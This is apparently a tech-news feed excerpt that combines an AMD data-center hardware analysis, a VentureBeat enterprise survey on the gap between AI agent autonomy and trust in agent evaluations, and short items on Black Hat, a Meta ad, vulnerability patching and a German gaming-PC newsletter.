<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[Enterprise security at machine speed: AWS Black Hat 2026 preview]]></title>
<description><![CDATA[Black Hat 2026 (Aug 1-6, 2026) brings together over 22,000 security practitioners, researchers, and CISOs who build, break, and defend enterprise infrastructure. They’re security professionals who push the limits of offensive and defensive security and demand proof over promises. As…
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<link>https://tsecurity.de/de/3689707/it-security-nachrichten/enterprise-security-at-machine-speed-aws-black-hat-2026-preview/</link>
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<pubDate>Thu, 23 Jul 2026 18:43:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Hat 2026 (Aug 1-6, 2026) brings together over 22,000 security practitioners, researchers, and CISOs who build, break, and defend enterprise infrastructure. They’re security professionals who push the limits of offensive and defensive security and demand proof over promises. As…</p>
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<title><![CDATA[Meta launched a new AI optimism ad set to a song about human extinction]]></title>
<description><![CDATA[David Bowie's song "Five Years," which Meta used in a supposedly inspiring advertisement, is about humans learning that they have five years left to live before the apocalypse.]]></description>
<link>https://tsecurity.de/de/3689684/it-nachrichten/meta-launched-a-new-ai-optimism-ad-set-to-a-song-about-human-extinction/</link>
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<pubDate>Thu, 23 Jul 2026 18:35:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[David Bowie's song "Five Years," which Meta used in a supposedly inspiring advertisement, is about humans learning that they have five years left to live before the apocalypse.]]></content:encoded>
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<title><![CDATA[Is Patching Dead? Vulnerability Management in the Post-Mythos Era]]></title>
<description><![CDATA[You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win. The post Is Patching Dead? Vulnerability Management in the Post-Mythos Era appeared first on…
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The post Is Patching Dead? Vulner...]]></description>
<link>https://tsecurity.de/de/3689512/it-security-nachrichten/is-patching-dead-vulnerability-management-in-the-post-mythos-era/</link>
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<pubDate>Thu, 23 Jul 2026 17:41:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win. The post Is Patching Dead? Vulnerability Management in the Post-Mythos Era appeared first on…</p>
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<p>The post <a href="https://www.itsecuritynews.info/is-patching-dead-vulnerability-management-in-the-post-mythos-era/">Is Patching Dead? Vulnerability Management in the Post-Mythos Era</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Zwei RTX 5090 für die HMX 6 und Zeitreise zur Höllenmaschine 4 mit vier GPUs]]></title>
<description><![CDATA[Hallo, ich bin der Michi, willkommen zur vierten Ausgabe des HMX-6-Newsletters. Diese Woche erfahrt ihr, welche Grafikkarten wir in der HMX 6 verbauen. Außerdem verraten wir, warum Halo das Design der HMX 6 prägen wird. Außerdem reisen wir zurück ins Jahr 2012 zur Höllenmaschine 4, die mit vier G...]]></description>
<link>https://tsecurity.de/de/3689498/it-nachrichten/zwei-rtx-5090-fuer-die-hmx-6-und-zeitreise-zur-hoellenmaschine-4-mit-vier-gpus/</link>
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<pubDate>Thu, 23 Jul 2026 17:32:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Hallo, ich bin der Michi, willkommen zur vierten Ausgabe des HMX-6-Newsletters. Diese Woche erfahrt ihr, welche Grafikkarten wir in der HMX 6 verbauen. Außerdem verraten wir, warum Halo das Design der HMX 6 prägen wird. Außerdem reisen wir zurück ins Jahr 2012 zur Höllenmaschine 4, die mit vier Grafikprozessoren neue Maßstäbe beim Gaming setzte. Wenn ihr keine Ausgabe verpassen wollt, könnt ihr den <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">Newsletter kostenlos abonnieren</a> – aber vergesst nicht, die Anmeldung via E-Mail zu bestätigen. Viel Spaß beim Lesen!</p>



<p>Hier geht es direkt <a href="https://www.pcwelt.de/hmx" target="_blank" rel="noreferrer noopener">zum Gewinnspiel der HMX 6 im Gesamtwert von 40.000 Euro</a>. </p>



<h2 class="wp-block-heading toc">HMX 6: 2x RTX 5090 von ZOTAC GAMING und Halo-Design</h2>



<p>Jetzt können wir endlich verraten, welche Grafikkarten in der HMX 6 stecken: Als primäre Gaming-Grafikkarte der HMX 6 ist die RTX 5090 AMP Extreme INFINITY gedacht, während wir parallel dazu die RTX 5090 ARCTICSTORM AIO für <a href="https://store.steampowered.com/app/993090/Lossless_Scaling/" target="_blank" rel="noreferrer noopener">verlustfreie Skalierung</a> verwenden, um Bildqualität und -wiederholrate in praktisch jedem Videospiel zu verbessern. Natürlich könnt ihr die gebündelte Kraft der zwei 5090 auch im kreativen Einsatz nutzen, etwa beim 3D-Rendering oder KI-Berechnungen. Hier findet ihr alle Informationen zu den <a href="https://www.pcwelt.de/article/3193773/hoellenmaschine-hmx-6-mit-zwei-rtx-5090-von-zotac-gaming.html" target="_blank" rel="noreferrer noopener">zwei ZOTAC-Grafikkarten</a>. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a6233f4c25ef"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/ZOTAC-600.jpg?quality=50&amp;strip=all" alt="ZOTAC 600" class="wp-image-3196875" width="600" height="577" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">ZOTAC</p></div>



<p>Eigentlich wollten Kris und ich euch diese Woche schon den aktuellen Stand des Casecon im <a href="https://www.pcwelt.de/article/3194747/hoellenmaschine-hmx-6-im-halo-campaign-evolved-design.html" target="_blank" rel="noreferrer noopener">Halo-Design</a> zeigen. Doch unserem Modder <a href="https://dcmm.de/media/uploads/2023/04/SIEGER_POKAL_012.jpg" target="_blank" rel="noreferrer noopener">Stefan Ulrich</a> fehlen noch diverse Materialien. Jetzt fahren wir wahrscheinlich nächste Woche, doch die Zeit drängt schon wieder, denn wir wollen ja auf die Gamescom mit der HMX 6.</p>



<h2 class="wp-block-heading toc">Rückblick: Die Höllenmaschine 4 setzte technische und optische Maßstäbe</h2>



<p>Neue Maßstäbe setzten wir 2012 auch bei der Vermarktung der Höllenmaschine 4 – zumindest für unsere Verhältnisse: vier aufwendig produzierte <a href="https://www.youtube.com/watch?v=uY7XIARRvZw&amp;t=1s">Teaser-Videos</a> mit Engelchen und Teufelsdamen sowie Fritz als Padawan von Obi-Wan Michi. Das hat riesigen Spaß gemacht und uns als Team Hölle zusammengeschweißt – und war der Beginn einer wunderbaren Freundschaft. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a6233f4c2e99"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/HM4-600.jpg?quality=50&amp;strip=all" alt="HM4 600" class="wp-image-3196869" width="600" height="563" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
